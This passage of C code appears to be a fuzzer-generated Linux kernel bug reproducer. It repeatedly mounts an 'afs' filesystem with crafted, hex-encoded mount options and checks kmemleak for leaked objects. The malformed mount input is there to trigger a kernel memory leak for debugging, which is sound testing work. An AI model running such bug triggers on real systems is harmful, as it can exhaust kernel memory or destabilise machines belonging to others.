if (setup_loop_device(size, nsegs, segs, loopname, &memfd, &loopfd) == -1)
return -1;
source = loopname;
}
mkdir(target, 0777);
char opts[256];
memset(opts, 0, sizeof(opts));
if (strlen(mount_opts) > (sizeof(opts) - 32)) {
}
strncpy(opts, mount_opts, sizeof(opts) - 32);
if (strcmp(fs, "iso9660") == 0) {
flags |= MS_RDONLY;
} else if (strncmp(fs, "ext", 3) == 0) {
if (strstr(opts, "errors=panic") || strstr(opts, "errors=remount-ro") == 0)
strcat(opts, ",errors=continue");
} else if (strcmp(fs, "xfs") == 0) {
strcat(opts, ",nouuid");
}
res = mount(source, target, fs, flags, opts);
if (res == -1) {
err = errno;
goto error_clear_loop;
}
res = open(target, O_RDONLY | O_DIRECTORY);
if (res == -1) {
err = errno;
}
error_clear_loop:
if (need_loop_device) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
close(memfd);
}
errno = err;
return res;
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
for (int i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void reset_loop()
{
char buf[64];
snprintf(buf, sizeof(buf), "/dev/loop%llu", procid);
int loopfd = open(buf, O_RDWR);
if (loopfd != -1) {
ioctl(loopfd, LOOP_CLR_FD, 0);
close(loopfd);
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
#define KMEMLEAK_FILE "/sys/kernel/debug/kmemleak"
static void setup_leak()
{
if (!write_file(KMEMLEAK_FILE, "scan"))
exit(1);
sleep(5);
if (!write_file(KMEMLEAK_FILE, "scan"))
exit(1);
if (!write_file(KMEMLEAK_FILE, "clear"))
exit(1);
}
static void check_leaks(void)
{
int fd = open(KMEMLEAK_FILE, O_RDWR);
if (fd == -1)
exit(1);
uint64_t start = current_time_ms();
if (write(fd, "scan", 4) != 4)
exit(1);
sleep(1);
while (current_time_ms() - start < 4 * 1000)
sleep(1);
if (write(fd, "scan", 4) != 4)
exit(1);
static char buf[128 << 10];
ssize_t n = read(fd, buf, sizeof(buf) - 1);
if (n < 0)
exit(1);
int nleaks = 0;
if (n != 0) {
sleep(1);
if (write(fd, "scan", 4) != 4)
exit(1);
if (lseek(fd, 0, SEEK_SET) < 0)
exit(1);
n = read(fd, buf, sizeof(buf) - 1);
if (n < 0)
exit(1);
buf[n] = 0;
char* pos = buf;
char* end = buf + n;
while (pos < end) {
char* next = strstr(pos + 1, "unreferenced object");
if (!next)
next = end;
char prev = *next;
*next = 0;
fprintf(stderr, "BUG: memory leak\n%s\n", pos);
*next = prev;
pos = next;
nleaks++;
}
}
if (write(fd, "clear", 5) != 5)
exit(1);
close(fd);
if (nleaks)
exit(1);
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter = 0;
for (;; iter++) {
reset_loop();
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
check_leaks();
}
}
void execute_one(void)
{
memcpy((void*)0x20000000, "afs\000", 4);
memcpy((void*)0x20000040, "./file0\000", 8);
memcpy((void*)0x200001c0,
"\x73\x6f\x75\x72\x63\x65\x3d\x25\x5e\x5d\x37\x5b\x2b\x25\x5d\x28\x24"
"\x7b\x3a\x0f\x6b\x5b\x29\x2d\x3a\x2c\x73\x6f\x75\x72\x63\x65\x3d\x25"
"\x5e\x5d\x25\x5b\x2b\x2e\x5d\x28\x25\x7b\x3a\x0f\x13\x9e\x5f\x32\x7e"
"\x80\xd0\xd3\x80\x5b\x29\x2d\x3a\x2c\x64\x79\x6e",
63);
syz_mount_image(0x20000000, 0x20000040, 0, 0, 0, 0, 0x200001c0);
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
setup_leak();
loop();
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.